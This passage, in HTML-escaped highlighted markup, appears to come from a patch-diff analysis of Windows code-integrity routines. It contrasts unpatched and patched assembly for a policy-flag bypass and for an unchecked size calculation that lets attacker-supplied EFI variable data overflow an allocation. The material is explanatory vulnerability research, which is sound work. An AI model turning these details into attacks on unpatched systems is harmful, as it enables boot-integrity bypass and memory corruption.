&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;full&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;plus&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;identity&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;compare&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;vs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;g_SiPolicyLegacyIDs&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;qword_18002F258&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="n"&gt;loc_18006FCDD&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;---&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;
&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_18006FC99&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fall&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;into&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;full&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;
&lt;span class="n"&gt;loc_18006FCE1&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;al&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;---&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;platform&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;secured&lt;/span&gt;
&lt;span class="n"&gt;retn&lt;/span&gt;&lt;span class="w"&gt;                      &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;---&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;BYPASS&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;alone&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;marks&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;policy&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;secured&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;In the patched build (&lt;code&gt;@ 0x180074028&lt;/code&gt;) the flags are still read from &lt;code&gt;[rcx+710h]&lt;/code&gt;. The &lt;code&gt;a2==0&lt;/code&gt; branch jumps straight to the full check (&lt;code&gt;test al,18h; jz loc_18007403D&lt;/code&gt;); the &lt;code&gt;test al, 4&lt;/code&gt; / &lt;code&gt;mov al,1; retn&lt;/code&gt; shortcut is gone, so an &lt;code&gt;a2==0&lt;/code&gt; policy is only "platform secured" when bit 0 is set and the hardcoded identity at &lt;code&gt;+0x6CC&lt;/code&gt;/&lt;code&gt;+0x6D4&lt;/code&gt; matches.&lt;/p&gt;
&lt;h3&gt;&lt;code&gt;SbpParseSignatureDatabase&lt;/code&gt; / &lt;code&gt;SbpParseSignatureDatabaseFromBuffer&lt;/code&gt; Assembly Analysis (Finding 4)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;UNPATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ci&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;SbpParseSignatureDatabase&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x18000BDDC&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EFI&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;variable&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;fetched&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;into&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;Src&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;into&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;Size&lt;/span&gt;&lt;span class="p"&gt;]:&lt;/span&gt;
&lt;span class="mi"&gt;000000018000&lt;/span&gt;&lt;span class="n"&gt;BE21&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SbEFIGetVariable&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;counting&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;pass&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;produces&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;counts&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="ow"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;r15d&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;allocation&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;merged&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;descriptor&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;array&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;NO&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;overflow&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;check&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="mi"&gt;000000018000&lt;/span&gt;&lt;span class="n"&gt;BE42&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r15d&lt;/span&gt;
&lt;span class="mi"&gt;000000018000&lt;/span&gt;&lt;span class="n"&gt;BE45&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r15d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;Size&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="mi"&gt;000000018000&lt;/span&gt;&lt;span class="n"&gt;BE49&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count_a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count_b&lt;/span&gt;
&lt;span class="mi"&gt;000000018000&lt;/span&gt;&lt;span class="n"&gt;BE4D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;shl&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;16&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unchecked&lt;/span&gt;
&lt;span class="mi"&gt;000000018000&lt;/span&gt;&lt;span class="n"&gt;BE51&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;raw&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;unchecked&lt;/span&gt;
&lt;span class="mi"&gt;000000018000&lt;/span&gt;&lt;span class="n"&gt;BE54&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;SbeAlloc&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;...&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;later&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;attacker&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;data&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;copied&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;into&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;buffer&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="mi"&gt;000000018000&lt;/span&gt;&lt;span class="n"&gt;BF62&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;memmove&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;PATCHED&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ci&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;SbpParseSignatureDatabaseFromBuffer&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0&lt;/span&gt;&lt;span class="n"&gt;x18001E1DC&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;each&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="mh"&gt;16&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;a&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;checked&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;64&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="kt"&gt;bit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;multiply&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;overflow&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;path:&lt;/span&gt;
&lt;span class="mf"&gt;000000018001E25&lt;/span&gt;&lt;span class="n"&gt;F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;esi&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ullMultiplicand&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;
&lt;span class="mf"&gt;000000018001E261&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;edx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;10&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ullMultiplier&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;16&lt;/span&gt;
&lt;span class="mf"&gt;000000018001E269&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;RtlULongLongMult&lt;/span&gt;
&lt;span class="mf"&gt;000000018001E270&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;js&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_18001E5BC&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;overflow&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;free&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;
&lt;span class="mf"&gt;000000018001E287&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;RtlULongLongMult&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;second&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;16&lt;/span&gt;
&lt;span class="mf"&gt;000000018001E290&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;js&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_18001E5BC&lt;/span&gt;
&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;addition&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;of&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;region&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;sizes&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;explicit&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;carry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nl"&gt;check:&lt;/span&gt;
&lt;span class="mf"&gt;000000018001E29&lt;/span&gt;&lt;span class="n"&gt;A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;pullResult&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;000000018001E29&lt;/span&gt;&lt;span class="n"&gt;E&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r10&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;pullResult&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="mf"&gt;000000018001E2&lt;/span&gt;&lt;span class="n"&gt;A2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_18001E574&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;carry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_INTEGER_OVERFLOW&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0&lt;/span&gt;&lt;span class="n"&gt;xC0000095&lt;/span&gt;
&lt;span class="mf"&gt;000000018001E2&lt;/span&gt;&lt;span class="n"&gt;B7&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;RtlULongLongMult&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;third&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;16&lt;/span&gt;
&lt;span class="mf"&gt;000000018001E2&lt;/span&gt;&lt;span class="n"&gt;C0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;js&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_18001E5BC&lt;/span&gt;
&lt;span class="mf"&gt;000000018001E2&lt;/span&gt;&lt;span class="n"&gt;CA&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;add&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r10&lt;/span&gt;
&lt;span class="mf"&gt;000000018001E2&lt;/span&gt;&lt;span class="n"&gt;CD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r10&lt;/span&gt;
&lt;span class="mf"&gt;000000018001E2&lt;/span&gt;&lt;span class="n"&gt;D0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_18001E574&lt;/span&gt;
&lt;span class="mf"&gt;000000018001E2&lt;/span&gt;&lt;span class="n"&gt;D9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;Size&lt;/span&gt;
&lt;span class="mf"&gt;000000018001E2&lt;/span&gt;&lt;span class="n"&gt;DD&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;
&lt;span class="mf"&gt;000000018001E2&lt;/span&gt;&lt;span class="n"&gt;E0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jb&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="n"&gt;loc_18001E574&lt;/span&gt;
